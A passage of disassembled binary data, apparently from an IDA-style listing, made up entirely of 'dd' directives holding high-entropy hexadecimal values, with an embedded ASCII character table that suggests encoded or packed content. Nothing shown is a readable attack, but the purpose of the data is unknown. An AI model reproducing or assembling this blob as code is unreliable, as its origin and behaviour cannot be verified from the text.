		dd 4DA2A32Eh, 0A1D81D42h, 0DF670180h, 0CC202162h, 5600FC44h
		dd 0C77FA719h, 728D0C1h, 54FA4802h, 8320FE0Bh, 50798A98h
		dd 3AA9A83Eh, 183DD8h, 0D1E88980h, 1788B6h, 948A8278h
		dd 7F913967h, 9E4C2100h, 0DDA5E0ECh, 851C4889h,	0FECB1907h
		dd 3D10A032h, 2A0040C6h, 9F09010Ch, 72350671h, 0C5B00372h
		dd 131A65B4h, 9226BBE8h, 0A9A73400h, 8FA8DA24h,	0E47D56h
		dd 0D8449821h, 0DF23E828h, 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h
		dd 415782FFh, 8A503201h, 0B1AA3054h, 58AE6100h,	0EE6DA2Dh
		dd 60D000A3h, 549E1042h, 8F0009D4h, 0C7D82808h,	0DC940Ch
		dd 0BE0B846h, 1407529Eh, 8080B93Bh, 9C696E3Bh, 10E68Eh
		dd 0C4B632BEh, 80661397h, 7AC23C02h, 60E07760h,	0E18A64h
		dd 4CA29179h, 40F56E42h, 4EF73900h, 8598DFEBh, 27C00F6h
		dd 300C8A12h, 914CE181h, 444849h, 44B2E906h, 1C26CE2Ch
		dd 80800140h, 83490579h, 4100FEC9h, 4FBB07Bh, 102B207h
		dd 658A13EBh, 7A4A3C38h, 2FC224C0h, 6C5E035Fh, 423796C4h
		dd 0B563DD8h, 0F0074EAh, 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h
		dd 1EC93390h, 5607C500h, 2FCCF814h, 5C1F1C1h, 0BB5460h
		dd 9CF04CB4h, 0F21217A0h, 537A8E00h, 0BC4E1440h, 568B5884h
		dd 0DA1C3100h, 479130AFh, 25FE3F00h, 0ABDE13F8h, 0BBAA0716h
		dd 0B0B6F117h, 72012C02h, 8E741500h, 3947CEA8h,	0BC70049h
		dd 0FADC7516h, 0E800F43Ch, 0BC8AC52Ah, 6C8D24h,	0ACBE0460h
		dd 6C70375h, 0EDCC0900h, 0F8463F1Eh, 0F5F2A3h, 0E312F713h
		dd 89028D61h, 965C66F2h, 951D003Dh, 0FFE281C3h,	0EFE50203h
		dd 0BFFC6284h, 60E8F7C1h, 4E00ACEBh, 37D7A06Ah,	3B159449h
		dd 88009547h, 2AF509F7h, 0C3000F73h, 50085EF9h,	1D5540C5h
		dd 409C926Ah, 0F6013347h, 8A0025EBh, 0D1063544h, 7D05Ch
		dd 72D8042Ah, 87884316h, 82CDF53Fh, 0AB0D4926h,	0CCF26007h
		dd 0B7500CBh, 2C683EEh,	0E003255Fh, 7A2A1D0Ah, 0CC50F040h
		dd 5A1800AAh, 0B9A8285Dh, 10EC086Bh, 75496900h,	6D53F92Ch
		dd 7C9842h, 0FBE82A14h,	0BF1BEAFAh, 4500B1F6h, 0E05135Eh
		dd 1567DAh, 22EB92C7h, 7940505Ah, 0DF14BA00h, 0B3C35281h
		dd 1F5C001Dh, 74ECB808h, 331329ADh, 13004F79h, 0A51BBA9Bh
		dd 2AB40022h, 0A28670B9h, 0DF0353F0h, 308A0448h, 341CF899h
		dd 138207EEh, 807DE949h, 0F1A24C3Ah, 1400B1F0h,	1D0FBA2Ch
		dd 0F88AB788h, 4131EF2h, 3C0EC02Eh, 0E44AA9F3h,	196E4C16h
		dd 0A280351Dh, 2FB120F4h, 0A51D01BAh, 0C8F59037h, 88A4FCDCh
		dd 0D11F3Bh, 2D7B5D3Ch,	0E468A3h, 0F8B8292Ah, 8D4C4D2h
		dd 2044B41Fh, 5AC8007Bh, 0B804EFD8h, 942860FCh,	6D1EBA3Ah
		dd 751FB77Bh, 0CCDDD022h, 53CFB3Fh, 1AB83155h, 8FF26272h
		dd 0CF29CFEDh, 3C3FDE0Ah, 0F8510108h, 0F48ACB3Dh, 79C865E0h
		dd 34251D72h, 0D64A8047h, 0FC1A469Dh, 45E4BA00h, 1FB263D3h
		dd 0CA143EF0h, 643FC403h, 87A96823h, 0A675DC10h, 57721F0h
		dd 3CC0E507h, 0BA90F462h, 0F847FCh, 3A8A0CF2h, 6EE24C3h
		dd 68001B7Ch, 100A211Ch, 0CB8F4h, 0CF66A5C9h, 1D29EB2Bh
		dd 0F928912Ch, 0F949DA00h, 4160F0Ch, 7DB875F0h,	0DDABC0E3h
		dd 0F500BA99h, 0B2F46E29h, 0ECA4A4Eh, 0CC3025D4h, 6D064400h
		dd 647D2F39h, 43FCDD0Fh, 30E2358h, 722CD020h, 266C3E3h
		dd 0CE8618Ah, 1D007051h, 96684C42h, 60F6F924h, 4120D831h
		dd 501E724Dh, 51004AE1h, 0B88B440Fh, 3AB3008Ch,	0DB84CE52h
		dd 7300FB19h, 530B108Eh, 262CCBBh, 37811D7h, 65404B7Fh
		dd 77008312h, 859F2AC6h, 0E2D0EB43h, 88680053h,	3F094091h
		dd 0B2007548h, 98F1864Ch, 1531821h, 0A32347E8h,	0D925BD38h
		dd 5A06EC3Dh, 0B60A5Ch,	13406974h, 3D21E992h, 3E7CA84Bh
		dd 73030744h, 8F72466Bh, 617053E8h, 45F86300h, 0A2416478h
		dd 97AB1D10h, 0B2C2C0BBh, 58045D6Ch, 0C800E698h, 0C798928Eh
		dd 3011DC42h, 0E46E8924h, 0DAC1B0E8h, 22A88F93h, 4844E0F8h
		dd 31075DA0h, 0B0189198h, 21286490h, 4048881Eh,	5C328085h
		dd 0F4268800h, 3C704431h, 6887C8FCh, 9E601C9Dh,	58891040h
		dd 24033C12h, 61884C50h, 9178D048h, 7C403011h, 2C993864h
		dd 131E30F0h, 2841220Ch, 24D22045h, 31848C4h, 10B1B899h
		dd 0A2077813h, 51706E08h, 0C0BC3153h, 77B361F8h, 30F03D81h
		dd 0E80318BCh, 48D4BE01h, 28E0548Ah, 223E29DFh,	88DC0FA1h
		dd 0C4666019h, 24B044D8h, 33A6267h, 0D0183238h,	0CA88CABh
		dd 801D24CCh, 601DC872h, 45FC41Fh, 0ACC03C4Eh, 0EBC2484h
		dd 0B8249912h, 0B4396883h, 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh
		dd 0E4F0F5A8h, 0D0FCA43Ch, 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h
		dd 940F4CE4h, 905CC4CCh, 8C39A3A0h, 88E87CFCh, 24CF48FAh
		dd 38E0AC84h, 7CEFD80h,	1CF47Ch, 68281178h, 89740F18h
		dd 70EE4C04h, 0DEBF64AEh, 0FBFAC6Ch, 44ED683Ch,	0F8FAF71Eh
		dd 5CF36007h, 2FE2F84Dh, 3EC8F274h, 0CBA9458h, 0CFF454BAh
		dd 60475014h, 914CF13Ch, 0F840F930h, 0EFFD1814h, 0CAF0BCF3h
		dd 9FC700Ah, 7D97E800h,	81BA2098h, 80510995h, 0E0803F60h
		dd 7446724Eh, 36BC4105h, 0FA8025B9h, 74450AB8h,	0F3133AFCh
		dd 4A82F980h, 0A4095517h, 10015F01h, 0D2B8057Dh, 7EC099E9h
		dd 0B1483907h, 0E5500C02h, 5A40800Fh, 202107Dh,	18BF0372h
		dd 2C7F40FBh, 9B831F4Ch, 0D0FCC08Bh, 282DF876h,	317FFF00h
		dd 86730232h, 0F3E11CC8h, 0B48D007Eh, 4AA87449h, 66FC400Fh
		dd 0EBA4A2C1h, 0E76D6123h, 0B0B60FC0h, 0FB80009Bh, 0BC37401h
		dd 9007704h
		dd 6C30BFF3h, 7EB03Bh, 1AB8B302h, 4F9D140Dh, 2F588E0Fh
		dd 8C44A0A1h, 10917BEh,	763352A3h, 0E011D825h, 88028F4Bh
		dd 0AAC81B1h, 2B57E0C0h, 0C3B01F82h, 86E64084h,	2D3D1480h
		dd 6D55AA12h, 0E04DFC0Fh, 0CA83BE5h, 11F007Fh, 7CFDF983h
		dd 0C97E0B1Ah, 4E861C00h, 4A3E80AAh, 0A0401F27h, 0F766C02Fh
		dd 0D8F320D9h, 0BF1CEB00h, 8F42C311h, 19740091h, 2F8E2C5h
		dd 8A001508h, 6623A2E0h, 0A20E86ABh, 2A54C0C3h,	4081007Fh
		dd 0E3FE3306h, 2B00F225h, 5EAB6293h, 0F48A0B14h, 8B8C0F29h
		dd 116049D2h, 2BB48719h, 86081C01h, 27204EAh, 0EB09330h
		dd 0E65D8A45h, 0E455BF00h, 0BDF8AA4Ah, 3B6DD21Ch, 90E2EBC0h
		dd 83067Dh, 0D7DAF7A7h,	0B1E46A6Fh, 0C4008AE0h,	8B5092AAh
		dd 32DC61h, 258C35F7h, 5B23F1Dh, 49430A01h, 0ED15D50Bh
		dd 8BE980E7h, 0AA040709h, 10F8DC3Bh, 4B735852h,	830E0F98h
		dd 0A01D12FAh, 5638BA05h, 496F00E2h, 0EB04D6B5h, 0DB013328h
		dd 0E03A8889h, 48C0C11Dh, 0F60300B3h, 43DC8AF3h, 1488EACh
		dd 4B0D002Dh, 3DA0F475h, 0C57C031Eh, 4AEAEB32h,	0C3FF1AA8h
		dd 3C2EE358h, 0C058073h, 27F97541h, 26CF072Bh, 708EC3F7h
		dd 81891D8Ah, 46A43200h, 220B6452h, 0F211CF1h, 0D93A0004h
		dd 0E9027F76h, 8DDDCC00h, 1A9B9C09h, 0C9241790h, 48F805h
		dd 1E74D03Ch, 7E537651h, 7A293B48h, 0AE92AA8h, 3E80C8Ch
		dd 0F7CC0784h, 595B407Fh, 0E2014312h, 0AC0BEBDCh, 7DC04A35h
		dd 5C00041h, 0EADFC42Bh, 26B8B701h, 0BA402A00h,	0BDE7602h
		dd 1720029Bh, 289958F7h, 2DFDACE0h, 831A473Fh, 0F97E05D4h
		dd 0EB48DBB6h, 1C51F9A3h, 0C07FFBECh, 1BF52E10h, 6A391338h
		dd 3600FD20h, 33C81067h, 299D28h, 99593577h, 6E1940D0h
		dd 0D9D60B1Eh, 69269C40h, 7B2B202Fh, 4470007h, 4FEE0990h
		dd 0E9EAC1EAh, 136BC200h, 8C5AE8Fh, 5D770Bh, 0DE4F1673h
		dd 68C61B28h, 0F0578D00h, 5A80E84Ch, 9C220081h,	4BE96CBAh
		dd 591F13F4h, 60C79001h, 80F7B951h, 0C0A0A4C7h,	0FE6F2B7h
		dd 0E3AFF599h, 3D46EF20h, 7400344Ah, 0F9C70C17h, 0D11166h
		dd 16207536h, 1A7E2A52h, 145B3900h, 990F4C0Eh, 54FC079Bh
		dd 3046BA33h, 403421EBh, 0B716C30Eh, 8745C019h,	0DA74D7h
		dd 55F0F73Bh, 4E775D05h, 1C042498h, 0D0E9FB26h,	8BF00BBh
		dd 3CAC1DE3h, 374272Ch,	4D228039h, 103E9620h, 0EF560060h
		dd 648AEDE2h, 47F1906h,	52450B07h, 0C373020Dh, 3AAC88C0h
		dd 0D0F400C4h, 0F7141BB2h, 0FF00E7EBh, 89BBA865h, 18E318Ch
		dd 0A1C76630h, 0F08693BFh, 0F8125588h, 88006106h, 0D1267423h
		dd 3925E430h, 2C002EE1h, 33C697F3h, 352E44C1h, 3A398931h
		dd 653B3Ah, 1896DF36h, 0D78B46h, 424039EBh, 0D32D4CD8h
		dd 1EDBFE01h, 0CABF79DAh, 83C7D4h, 0F7D9E880h, 0EC5589C1h
		dd 3E60CB00h, 0EB01F8A2h, 71A400B6h, 1432AF43h,	0A7002DAEh
		dd 0A1B42B93h, 9C0FFAh,	0FBC1B801h, 589666EBh, 116BEC00h
		dd 2703F80Eh, 0A6D83DA0h, 4EE5C180h, 0E02D6EBDh, 4FD58709h
		dd 0E4E7006Ah, 222C35Bh, 6084482Ah, 61E06B29h, 0E48BA13h
		dd 0C20776A2h, 5721C385h, 2BE35680h, 0D874030Dh, 0D680DCC7h
		dd 0D1F0EAF8h, 5D8D6300h, 28C25F90h, 0E7FC0008h, 0A4F8C4CAh
		dd 270045CEh, 48F324DAh, 1E1E91EFh, 40441A22h, 7538920h
		dd 0C0074FC4h, 0E6E8D4A3h, 0ACCD82D0h, 0C66E00B7h, 0F43FF02Bh
		dd 803C2606h, 0C0FE02FCh, 60752D0Ah, 59DE4ABh, 412E74C4h
		dd 0A4A68146h, 5ECDE4F9h, 3880500h, 0EE8A6B53h,	8DCF1F2Ah
		dd 0D6AD8742h, 0EB5BF0ABh, 0A400CC88h, 0D8DEA1C3h, 1B8C41h
		dd 7FD307Ch, 4DFF01F5h,	7475F425h, 0BB0D00C4h, 3414DE45h
		dd 0E40FC400h, 41AB127Eh, 43290104h, 4B0B1F91h,	0F9987150h
		dd 0DEC16031h, 6BB86600h, 2E6C9622h, 9E1E00EBh,	9A88FC25h
		dd 0DD004517h, 0F7EE7E0h, 1CC9B258h, 808DF228h,	0BF065975h
		dd 0C200AA9Ah, 45D36649h, 64E31Ah, 0A9F938B4h, 847A16D8h
		dd 736D3100h, 0C92E3283h, 8DA70008h, 0D0445F46h, 0F5008925h
		dd 0A03D0320h, 58227507h, 4600BB09h, 119FA506h,	737B90AAh
		dd 9D7E811Fh, 326B800h,	0E1340h, 0CDC43C6h, 0DB8D6BE9h
		dd 2D2E0801h, 69053FFFh, 2104E12Fh, 5B6C7048h, 83C44000h
		dd 0E051ECA2h, 0E1D901F4h, 72BFE837h, 0DBFCD80Eh, 749C2D00h
		dd 9BF2D8A7h, 83DD3C48h, 0FAA8D401h, 0FC410B70h, 9A00DA09h
		dd 0F8EF80BCh, 7E675DFh, 3187BF2h, 9B6BF0BAh, 4400148Ah
		dd 7DDE515h, 8E8C0h, 660F7004h,	45E33005h, 621DE27Ch, 480032EBh
		dd 64CBCAAh, 82F0073h, 8205C879h, 0C00F83Bh, 0A303C96h
		dd 712FF83h, 8027730Fh,	351F707Ch, 44E425C6h, 4FE00E00h
		dd 0FE0D781Ah, 13800011h, 0EBED7739h, 2F981F14h, 3128A601h
		dd 525F9862h, 7A533530h, 21190325h, 0F150A190h,	77835688h
		dd 0C1303A00h, 389D6EAh, 53120088h, 6A80C302h, 6008BEEh
		dd 0A0042ECEh, 7CA0BC8h, 0B46B840Fh, 79FC4069h,	5C2C9DAEh
		dd 0EA008361h, 1EFF13F3h, 607A00D1h, 1F7C04F6h,	0F4891BFh
		dd 82D0EFDh, 81A70064h,	0B6B3DAh, 15730DE0h, 0E0549F2h
		dd 27D22103h, 98989378h, 0DFF410h, 0B8D7146Dh, 0C22B122Ah
		dd 0DA790104h, 9FC18534h, 0E44062F5h, 614057h, 0F7A4B91Bh
		dd 0C0DF6A1h, 0F93DFE00h, 24C4811Eh, 1F75000Fh,	0EBECCC49h
		dd 0A00397Bh, 0AA3004C1h, 1E7820h, 2122D489h, 0EA44316Ch
		dd 0B009873h, 3134C8Dh,	0C61602h, 80D58207h, 0F7D1853Fh
		dd 0CCB9540Eh, 0E5EB271Fh, 88D271E0h, 0D5FB008Ah, 6FF19E9h
		dd 0B900F008h, 9D9B1CD1h, 261EBA7Dh, 27E2DBh, 6BF89A6h
		dd 0F600E8EEh, 3E13C185h, 5C0DFF80h, 303AD7C5h,	464E0107h
		dd 7075F0FCh, 7D008286h, 53A0CE0h, 2C6699h, 1246152Bh
		dd 3B1F0748h, 4AD8CE1Fh, 0B0DF2400h, 5CD4B81Dh,	0E83B960Ch
		dd 2A582B80h, 9C43D003h, 0DE252404h, 0BDC11362h, 0AAFC8498h
		dd 1C35F212h, 825002F9h, 3E52E0D9h, 3FDFB0E0h, 0DB6EEB00h
		dd 8AFF9B8Eh, 0D2A90266h, 0B0179E26h, 0DD90C1E3h, 527F89BCh
		dd 906D2800h, 0C30B859Bh, 989900ACh, 4ECA4320h,	0C40027DDh
		dd 0F03A2CF3h, 0F730Ah,	290DDA26h, 0CE904349h, 53B80600h
		dd 131CEA52h, 140E008Ah, 619DB3CAh, 0A93D9428h,	6BE4002Ah
		dd 9040EDD2h, 0F4FA0381h, 720A9E9Ch, 2143801h, 0BCC54BB5h
		dd 0B871F8h, 250E978Ah,	0F0340F4h, 0B67850Fh, 7606A055h
		dd 0FE81216h, 3F957AA7h, 741B0520h, 1C002029h, 16B93862h
		dd 3C278B40h, 0DF8FB015h, 5B40C477h, 0B932D1B8h, 3D52073Fh
		dd 34450030h, 0AF3F272Bh, 43906Ah, 511008EEh, 88154B90h
		dd 42003EB8h, 0E40C2344h, 1E793A14h, 73918Ah, 85080A5Ch
		dd 0B11E0490h, 210074FCh, 2CEC64F8h, 60422CE0h,	56520027h
		dd 97915014h, 0CF19507h, 8762FC78h, 8225C008h, 0B8400073h
		dd 8C5D54BCh, 8D0024D7h, 158B64A8h, 8043F3h, 0CB4EC93Dh
		dd 1C303312h, 9810BA00h, 708D404Bh, 734F00D4h, 76B30BC4h
		dd 743F8744h, 0EC7A8045h, 5798F20Dh, 258C006Fh,	302F206Eh
		dd 42E4F178h, 1C0E397Eh, 0E7760410h, 0A8340E1h,	2B110082h
		dd 5025D453h, 8B0BB273h, 33E9ABAh, 0F860A7EEh, 0E1A5D84Eh
		dd 1318960h, 0F71EE3DBh, 408A07D0h, 97C1FF8Fh, 0D80E1879h
		dd 0D108B3h
		dd 350573E0h, 71060B41h, 70809DDBh, 0ACE6E2F3h,	85C33803h
		dd 0B9038B61h, 53F8F420h, 1F30E618h, 3085DF2h, 98DB0CE6h
		dd 0F410E099h, 8D122E7Ch, 0E0E3353h, 0E7D140B0h, 0D74DFDh
		dd 0AEF8DC3Dh, 0F2015AC3h, 76F68500h, 3C647163h, 0CAE029h
		dd 0EEE0E9C1h, 35FF983h, 1F7E800h, 0E78166FAh, 0BA0F00FFh
		dd 2CE5C26h, 0C7003BF8h, 9DD02177h, 10CDF5h, 4E14069Fh
		dd 0E09373FAh, 0B507247Eh, 47E88801h, 0C5BF023Bh, 0EB3FC07Eh
		dd 212C011Ch, 1F0F5372h, 0CC10E4C6h, 4E0002E0h,	0B8B9D75h
		dd 0E498C985h, 0FF7A3E35h, 3BCAFB80h, 4F5FE15Ah, 0E54EB014h
		dd 2BA9008Ch, 4C770CBAh, 0DAB8177Dh, 0C2690145h, 30080110h
		dd 0CE1F71A7h, 3ABE5920h, 16378099h, 0B1438D27h, 0E06E00C3h
		dd 0E9775A35h, 0CC03CA55h, 0C085C950h, 0C73CA876h, 0D6810033h
		dd 0F30C5D70h, 100E540h, 0DC92772h, 71C2F002h, 0D68B3E13h
		dd 0CF507480h, 0F8D103D2h, 87057539h, 0CEB3201h, 0B4A6B080h
		dd 0A02F0054h, 91757948h, 11FE42A5h, 0B657700h,	75676B5h
		dd 5478ABh, 9D7B22BBh, 0BFAE3CECh, 0B10C7000h, 9A2DC2B4h
		dd 0A049481Ch, 0CE34A11Dh, 52E0880Ah, 0FED0845Fh, 77F23200h
		dd 0C8F94CAh, 0FAD1004Bh, 8A7F2089h, 11005653h,	0B8E1CB27h
		dd 0ADA17h, 76F4F0Fh, 0E3C8FDF2h, 8A225500h, 0BDEAF8FCh
		dd 759F008Bh, 5334AA87h, 0C7027C8Dh, 0CA1E88A3h, 840740C3h
		dd 28A00D5h, 274307ECh,	0DE004647h, 7570B033h, 28E6E8h
		dd 2A09BC80h, 4B26048Bh, 16C78A00h, 0F13E0649h,	0F40000Dh
		dd 0C8E65B81h, 7D3B0C34h, 37311824h, 5711DCh, 40478014h
		dd 0D97B754Bh, 28EFF100h, 50390563h, 4E8E8B9h, 0CF498F20h
		dd 0F8E280ECh, 0B100B054h, 2E0BAFFh, 39735C8h, 496071A7h
		dd 0D9B013FCh, 2900ADC2h, 4B89A09Dh, 7CDB85h, 5843762Dh
		dd 0A5799FD7h, 41023000h, 0FF5EE180h, 0D9953C01h, 0E9181480h
		dd 0C70A57E2h, 88A11C00h, 0F21F75Dh, 408C0059h,	183C8D12h
		dd 307F2AC3h, 2ED61F00h, 2410A9EBh, 75217EABh, 0E3800002h
		dd 0FC3245F3h, 75011A6Ah, 0FE4134F0h, 0D670DFB6h, 0E52C0749h
		dd 0E07D3173h, 0B9FF3E62h, 4D9FD400h, 5F9589ECh, 9334001Ch
		dd 9BDD88B0h, 1A1D0C71h, 0A89DE410h, 6EB78680h,	0C776B4h
		dd 0DE3D34Ah, 0D6E8FD4Fh, 7E400401h, 4730BE21h,	0E0446130h
		dd 13FF7D18h, 1A2CBFh, 0AF4ED6FAh, 0F2B89F23h, 59760E9h
		dd 5FE4FE00h, 82783EBAh, 5816037Bh, 9297831Dh, 755BC998h
		dd 33ADFC00h, 8D487C06h, 89231FBBh, 0A7084157h,	61042035h
		dd 904EF815h, 54A2FE03h, 8041C59Ch, 7444342h, 48474645h
		dd 4B4A0049h, 4E004D4Ch, 0A51504Fh, 38545352h, 5801C655h
		dd 62615A59h, 6564C063h, 68676603h, 806B6A69h, 76E6D6Ch
		dd 7271706Fh, 75740073h, 780E7776h, 307A79h, 34333231h
		dd 37361C35h, 2B390038h, 24203D2Fh, 9D284Ch, 7D7B5D5Bh
		dd 703A3B2Ch, 5C5F002Dh, 927222Ah, 91000D0Ah, 0AAE4C4E0h
		dd 7388E867h, 0DA950F04h, 0C55E24FFh, 0C084EA21h, 0EC8B2706h
		dd 1490B926h, 3620CB03h, 70D5A801h, 15E60FFCh, 0C62080B5h
		dd 5C49E960h, 9E099B00h, 9C732D85h, 947A00FCh, 114A641Bh
		dd 96FC6B5Bh, 8CEC9F00h, 0DB2D16DCh, 0C39707C0h, 914B5421h
		dd 0FC66C204h, 190759E4h, 941FEBECh, 956BC70h, 4052008Ah
		dd 0D4CF5C7Ch, 33001571h, 0FF273929h, 3C4BA3F4h, 790010FDh
		dd 83481F05h, 400093C8h, 0A5CEB6F0h, 823252h, 0D98CD5F4h
		dd 0C6660347h, 11F01600h, 5521429Fh, 4ABF0051h,	6C7EE292h
		dd 0BB0076E1h, 0EB071569h, 41B929h, 0DC30630Ah,	0AB83E806h
		dd 5600807Eh, 0E7C1157Ch, 0F869CFh, 8BFD097Dh, 7E58562h
		dd 8F82B80Eh, 464BC10Bh, 3D60ED05h, 76EA00F0h, 2BBCE14h
		dd 0C7143032h, 0CAF468h, 0EFC11A13h, 1C6FF24h, 336AD94h
		dd 41FA6E7Eh, 2B13ED8Ch, 6AA1B0h, 0A6C246Dh, 7BEF947Fh
		dd 15684A00h, 648CD44h,	387A4Bh, 519E418Bh, 2F02BAF3h
		dd 921ACF07h, 0E83084E9h, 7BDD206h, 0A7EC4FF9h,	2ADF90C2h
		dd 2004589h, 169F4999h,	0ECD9C65Ah, 6B7623h, 2F42C288h
		dd 0F0CA36FFh, 0BA70E100h, 0F969CB33h, 0AD5C00D4h, 6068A240h
		dd 627F6FD8h, 3BB50303h, 0A86D5AA4h, 1FE361Dh, 5315C83Fh
		dd 0D4952D01h, 0D8023B81h, 0C029B27Ch, 6EE0E01Bh, 592EC49h
		dd 50B1C594h, 2132839Fh, 0B2525207h, 62B071C4h,	790B0A0Dh
		dd 1EB473FFh, 15D80CAh,	0B186A9C6h, 0A33EF44Fh,	50495307h
		dd 16B5B95Bh, 32A0C1C7h, 0FC982A64h, 0F8281C13h, 5EB9C023h
		dd 52250194h, 4690200h,	484EB36Fh, 0A25F0010h, 0BF446CF0h
		dd 25001609h, 9DC24FAEh, 3081B8h, 9208E2C1h, 0E90071Dh
		dd 47D10B00h, 75484B0Dh, 782E74EEh, 0FAB70066h,	498A01D3h
		dd 0C0F8840h, 206A4306h, 0E183CAC1h, 6CD5003Fh,	184C2596h
		dd 0EAFA270Eh, 6031E70Fh, 0D6D4006Bh, 79FC6ACh,	68B1527Fh
		dd 900A97C9h, 750BCB7Eh, 6B80D100h, 902D37D8h, 0B85000E6h
		dd 477CE29Fh, 3F72A4A3h, 4058AB00h, 252785A1h, 9F000C6h
		dd 5F1CF405h, 8F000F15h, 334E99A4h, 0EC859A23h,	0F36A0058h
		dd 0CAA15AA9h, 761E05F1h, 308A2B8Dh, 7C01BB3Ah,	0E0EFE378h
		dd 0A2D0D6F5h, 0A4EC64h, 0F692FF30h, 75023A07h,	0E2C64600h
		dd 94D701EFh, 0F83E0F17h, 7CC08483h, 0B6D44733h, 0BCA8E07h
		dd 5E90148Dh, 139629h, 0C9241C1Eh, 0FE0274B1h, 1ADC0900h
		dd 0D280B8FFh, 3B5E079h, 754F4304h, 7DD830D3h, 10017414h
		dd 0C45B1FFh, 0C03E3B08h, 0A689057Ah, 2EDDF400h, 44D12D1h
		dd 341D0F65h, 4700F78Ah, 0FD44F8A1h, 0A200D9E4h, 6590899Dh
		dd 582E38h, 0F02D704Fh,	10E9A151h, 0A2271801h, 74532F85h
		dd 0BCD1D8h, 0B9546A1Dh, 4C9CD4F3h, 90CB8B1Dh, 4717CDC0h
		dd 1E8AEB5h, 0F6B02BCFh, 20E6D655h, 0F0122C84h,	9CECC3FAh
		dd 0D465007Eh, 0C1E4ED15h, 0F7000316h, 0CE2B94BFh, 756247h
		dd 12EC04B9h, 0A7C82728h, 1114D3Ch, 2EDE2CD3h, 0C0D7A242h
		dd 1EAED4A3h, 8FCAA4E4h, 5A3DD69h, 0DCB87610h, 0D0018BD7h
		dd 89DF6F62h, 9220A270h, 107891h, 13A9D812h, 2C78F0CBh
		dd 80060B00h, 60E25C3Bh, 4BFEFEh, 0B57EB0DEh, 0E5BD2AECh
		dd 154F1B00h, 194558F4h, 927777h, 7FB7DD56h, 5E5F630Bh
		dd 0F4716001h, 91A5C438h, 875F0h, 0F24A5A33h, 44022717h
		dd 41A4EF00h, 69E95748h, 5FEC6Fh, 37814531h, 9453885Bh
		dd 57018D7Ah, 0E8719D0Dh, 46C847BFh, 17C800A0h,	5FC34287h
		dd 34029CDDh, 0F0C5FC91h, 2256C1AAh, 3812CCh, 72F77DA4h
		dd 19681384h, 0C174C600h, 505FC752h, 0A69F00BDh, 9D0F7386h
		dd 2C000279h, 34EC9632h, 64AF37h, 39C495C6h, 56B29EB3h
		dd 0C585F71Fh, 4DB86345h, 0C3EC58C0h, 0D31D003Fh, 0A632E606h
		dd 0A094B17h, 0CDE7B1h,	3A25A58Eh, 0E6AAEC29h, 93FA0044h
		dd 0D01B9266h, 5E01BB65h, 14B45026h, 2AD419F2h,	0C79F0987h
		dd 0E60089A9h, 0AF560574h, 316F839h, 9CB466ACh,	0D88CC364h
		dd 758BDDh, 4B937C2Fh, 6A24A058h, 7A820300h, 5AC773A4h
		dd 0BA727Eh, 27841D5h, 0C327116Ch, 4B8E5901h, 0A6B01E5Fh
		dd 40D2ECh, 7517496Fh, 227C3966h, 0A39F4507h, 86202F71h
		dd 0D94161h, 7BDB2529h,	676F881h, 35A85500h, 75AE2638h
		dd 0CB450093h, 1834EA74h
		dd 232E04DFh, 0AC034A08h, 0E88237EBh, 641AE2h, 0A6432101h
		dd 9854B34Ah, 0FC93B909h, 48815F69h, 0D4022D6Ah, 7D004DBEh
		dd 0C59B05A4h, 0B062A7h, 42BFC963h, 1C8F36A8h, 0FF96D100h
		dd 0C4B8BC6Ah, 124F1D5Bh, 9C5C044h, 2C464772h, 40703802h
		dd 7D94C0AAh, 0E8C0230Fh, 0FC9591DBh, 45F60A7Dh, 8D268F00h
		dd 7AF2357Bh, 1AD2052Fh, 0C0F007D3h, 0C2552B85h, 0F4D07800h
		dd 1B3BC13h, 100B002Eh,	0E881A64Ah, 910F2924h, 60F164A5h
		dd 9F0D9669h, 95840046h, 866A4BF6h, 0E8075414h,	302B75FCh
		dd 0F0CBE693h, 0E329BAh, 0AC2C164Ch, 0F55CF4E4h, 48FC2D01h
		dd 5A59A165h, 70A580F4h, 0A62107E2h, 436C14C4h,	35A94485h
		dd 5F51E0DCh, 92F46000h, 0C9311EFCh, 0CA090549h, 80405553h
		dd 0C807302Dh, 94E98800h, 0B6F2E06Ch, 667C08h, 0D806EBD1h
		dd 35F00973h, 83203E1Ch, 0B8F38100h, 0CEFEEDh, 31EB1C75h
		dd 4FDA8EC1h, 5BD5E100h, 0EF6CD2F7h, 0A5D0003Eh, 0AFA955C0h
		dd 61004384h, 97C447D4h, 0E8510E2h, 28BFEDA0h, 0EC41DA0Fh
		dd 0F0A8E0D6h, 0BBFC59ADh, 80F3A53Eh, 46712D63h, 7B849743h
		dd 0FC1807B2h, 518A1403h, 0C09DDF92h, 9EB0D368h, 0F8043Dh
		dd 5DD0D45Fh, 3CC60150h, 8980B0A2h, 85FC29B7h, 4DEE17A9h
		dd 7B2CDC00h, 5A241051h, 0E8010021h, 0B1ECDD4Fh, 93057102h
		dd 52DF2347h, 0F31617C0h, 4FAC0028h, 77E50FCCh,	3E002941h
		dd 0C8099412h, 1B1697h,	0F9A8072Dh, 7CD15A58h, 0F0564500h
		dd 0BA51F6E6h, 5B380160h, 0CE077948h, 0B146CCEBh, 10FE8300h
		dd 0C1ECF1EDh, 0DC95005Eh, 96D37224h, 0A800ABE2h, 67BD1E75h
		dd 0E8D1ED2Bh, 8CB000E6h, 70834FF8h, 7C0058FFh,	3C709EFh
		dd 9160C0h, 0A8A0048Ah,	3B94980Bh, 61114A00h, 51010244h
		dd 0E3C10012h, 88C33683h, 71174606h, 2800295Fh,	34B264ABh
		dd 0A58B1DAEh, 0E45200D2h, 92B2CB1h, 5CC45905h,	0C8016278h
		dd 565B5A02h, 7F89760h,	8BFC12AAh, 40C2B7F3h, 789E7908h
		dd 0B1A96000h, 985E58Eh, 0FE500134h, 4D8B42ACh,	0FD94DCDAh
		dd 51E8AFF8h, 7400197Bh, 49CF5C1Fh, 1D952044h, 8D1118h
		dd 0CEEA2FA3h, 0AB984556h, 58B02100h, 209EA967h, 2AF3007Eh
		dd 2C29BC6Dh, 0D8E89F57h, 0CA529C00h, 42A4968Fh, 0D575FFh
		dd 0ABE8C3C1h, 290C3292h, 0AF880807h, 0ACE0DB7Ah, 1CC21FCAh
		dd 0C0E69443h, 1C77CEEDh, 61E2BA6h, 814097AAh, 0E38D5426h
		dd 5E280070h, 0DCBC2C4Fh, 0F277C28Bh, 0B689E200h, 912F1CAAh
		dd 834000E4h, 64751EF8h, 0DE019A5Dh, 0E83120BBh, 646049A3h
